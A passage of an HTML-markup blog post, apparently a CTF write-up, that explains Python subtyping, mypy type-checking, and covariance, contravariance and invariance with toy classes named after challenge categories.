&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Reverse&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Supertype is not a subtype.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Type-wise, it creates a relationship: &lt;code&gt;Reverse&lt;/code&gt; is a &lt;strong&gt;subtype&lt;/strong&gt; of &lt;code&gt;Challenge&lt;/code&gt;. More on this later.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can inherit multiple classes too:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Create a class for Python Reverse challenges.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;PythonReverse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Python&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Reverse&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Both &lt;code&gt;Python&lt;/code&gt; and &lt;code&gt;Reverse&lt;/code&gt; are superclasses/supertypes of &lt;code&gt;PythonReverse&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Mathematically, we denote inheritance with $A : B$, where $A$ is the subtype and $B$ the supertype.&lt;/p&gt;
&lt;h3 id=&quot;typing&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#typing&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Typing&lt;/h3&gt;
&lt;p&gt;Python is a dynamically-typed language and does not offer type-checking out-of-the-box. This challenge uses the third-party tool &lt;code&gt;mypy&lt;/code&gt; to type-check &lt;code&gt;output.py&lt;/code&gt; (get it with &lt;code&gt;pip install mypy&lt;/code&gt;). Let&#39;s look at a typed example.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Challenge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Web&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

x&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Challenge &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Challenge&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
y&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Challenge &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Reverse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
z&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Challenge &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Web&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;We declare three classes: &lt;code&gt;Challenge&lt;/code&gt;, &lt;code&gt;Reverse&lt;/code&gt;, and &lt;code&gt;Web&lt;/code&gt;. The latter two are nominal subtypes of &lt;code&gt;Challenge&lt;/code&gt;.&lt;/p&gt;
  &lt;details&gt;&lt;summary&gt;Nominal vs. Structural Subtyping&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Generally, there are two ways to look at subtypes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Nominal Subtyping: Two types are considered subtypes if they were &lt;strong&gt;declared&lt;/strong&gt; such. Usually an explicit link is specified, e.g. inheritance.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Here, &lt;code&gt;Reverse&lt;/code&gt; is a (nominal) subtype of &lt;code&gt;Challenge&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Structural Subtyping: Two types are considered subtypes if their &lt;strong&gt;structures match&lt;/strong&gt;. No explicit linking required.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Challenge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    title &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    description &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Web&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;      &lt;span class=&quot;token comment&quot;&gt;# No inheritance.&lt;/span&gt;
    title &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    description &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;instantiate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;Web&lt;/code&gt; is a (structural) subtype of &lt;code&gt;Challenge&lt;/code&gt;, because &lt;code&gt;Web&lt;/code&gt; &lt;em&gt;contains&lt;/em&gt; attributes and behaviour of &lt;code&gt;Challenge.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This is more akin to duck typing.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All the subtyping discussed in this post is &lt;em&gt;nominal subtyping&lt;/em&gt;.&lt;/p&gt;
  &lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We then...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;declare three variables &lt;code&gt;x&lt;/code&gt;, &lt;code&gt;y&lt;/code&gt;, &lt;code&gt;z&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;annotate them with &lt;code&gt;Challenge&lt;/code&gt;, and&lt;/li&gt;
&lt;li&gt;initiate them to instances of the classes we created.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Beware, &lt;code&gt;Challenge&lt;/code&gt; takes on two roles here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Type. When inheriting (in the declaration of &lt;code&gt;class Reverse&lt;/code&gt;) or when annotating &lt;code&gt;x&lt;/code&gt;, &lt;code&gt;Challenge&lt;/code&gt; is treated as a type.&lt;/li&gt;
&lt;li&gt;Constructor. When calling &lt;code&gt;Challenge()&lt;/code&gt;, we are instantiating an object.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The &lt;strong&gt;type annotation&lt;/strong&gt; is a constraint we place on the variable.&lt;/p&gt;
&lt;p&gt;When we run &lt;code&gt;mypy&lt;/code&gt; on this file, the type-checker will:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;process class declarations,&lt;/li&gt;
&lt;li&gt;register subtyping relationships ($&#92;texttt{Reverse} &amp;lt;: &#92;texttt{Challenge}$, $&#92;texttt{Web} &amp;lt;: &#92;texttt{Challenge}$), and&lt;/li&gt;
&lt;li&gt;type-check annotations and values.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ul&gt;
&lt;li&gt;$U &amp;lt;: T$ denotes &amp;quot;$U$ is a &lt;strong&gt;subtype&lt;/strong&gt; of $T$&amp;quot;.&lt;/li&gt;
&lt;li&gt;$U :&amp;gt; T$ denotes &amp;quot;$U$ is a &lt;strong&gt;supertype&lt;/strong&gt; of $T$&amp;quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Examples&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$&#92;texttt{int} &amp;lt;: &#92;texttt{object}$&lt;/li&gt;
&lt;li&gt;$&#92;texttt{RuntimeError} &amp;lt;: &#92;texttt{Exception} &amp;lt;: &#92;texttt{BaseException}$&lt;/li&gt;
&lt;li&gt;$&#92;texttt{object} :&amp;gt; &#92;texttt{int}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The type-check passes if the values are subtypes of the annotations. This is also called a &lt;strong&gt;subtype query&lt;/strong&gt; (distinguished by $&amp;lt;:^?$).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Other examples of subtype queries:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;x&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;                  &lt;span class=&quot;token comment&quot;&gt;# Is type(5) a subtype of int? ✓&lt;/span&gt;
y&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;abc&quot;&lt;/span&gt;            &lt;span class=&quot;token comment&quot;&gt;# Is type(&quot;abc&quot;) a subtype of float? ✗&lt;/span&gt;
z&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Challenge &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Reverse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;# Is type(Reverse()) a subtype of Challenge? ✓&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We&#39;ll find out later how to resolve subtype queries. That is, we&#39;ll look at how to figure out if a class is a subtype of another class. (&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#be-a-subtype-checker&quot;&gt;Jump&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;Subtypes are great for &lt;a href=&quot;https://www.programiz.com/python-programming/polymorphism&quot;&gt;polymorphism&lt;/a&gt; as they allow us to construct containers (lists, arrays, maps) in a concise and type-safe manner. Here&#39;s a simple example:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; typing &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Challenge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Web&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Pwn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Create a list of different challenges.&lt;/span&gt;
chals&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; List&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Reverse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Web&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Pwn&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;invariance-covariance-and-contravariance&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#invariance-covariance-and-contravariance&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Invariance, Covariance, and Contravariance&lt;/h3&gt;
&lt;p&gt;Wow, big mathy terms.&lt;/p&gt;
&lt;p&gt;Suppose we want to display our list of challenges. We create a function &lt;code&gt;display()&lt;/code&gt; which takes a list of challenges. But what if we specifically pass in a list of &lt;code&gt;Reverse&lt;/code&gt; challenges?&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Create a generic list type using an invariant type variable T.&lt;/span&gt;
T &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; TypeVar&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;T&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;MyList&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Generic&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;T&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;chals&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; MyList&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Challenge&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;

display&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;MyList&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Reverse&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# ERROR! Argument 1 to &quot;display&quot; has incompatible type &quot;MyList[Reverse]&quot;; expected &quot;MyList[Challenge]&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;(N.B. For the sake of this section, I&#39;ve used a custom &lt;code&gt;MyList&lt;/code&gt; type instead of &lt;code&gt;typing.List&lt;/code&gt;.)&lt;/p&gt;
&lt;p&gt;But why did this error? Although &lt;code&gt;mypy&lt;/code&gt; deduced that $&#92;texttt{Reverse} &amp;lt;: &#92;texttt{Challenge}$, it couldn&#39;t deduce that our subtype query $&#92;texttt{MyList[Reverse]} {} &amp;lt;:^? &#92;texttt{MyList[Challenge]}$ holds.&lt;/p&gt;
&lt;p&gt;This is where covariance and contravariance come into play. With these two bad bois, we can derive further relationships on generic types. The two are similar, with a minor difference.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;ul&gt;
&lt;li&gt;Let $F[T]$ be a generic container with type parameter $T$.&lt;/li&gt;
&lt;li&gt;If $T$ is &lt;strong&gt;covariant&lt;/strong&gt;, then $A &amp;lt;: B&#92; &#92;iff&#92; F[A] &amp;lt;: F[B]$ for any type $A$, $B$.&lt;/li&gt;
&lt;li&gt;If $T$ is &lt;strong&gt;contravariant&lt;/strong&gt;, then $A &amp;lt;: B&#92; &#92;iff&#92; F[A] :&amp;gt; F[B]$ for any type $A$, $B$.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; (It flips!)&lt;/li&gt;
&lt;li&gt;If $T$ is &lt;strong&gt;invariant&lt;/strong&gt;, then $A = B&#92; &#92;iff&#92; F[A] = F[B]$. No other subtyping relationships are derived. (This is the default!)&lt;/li&gt;
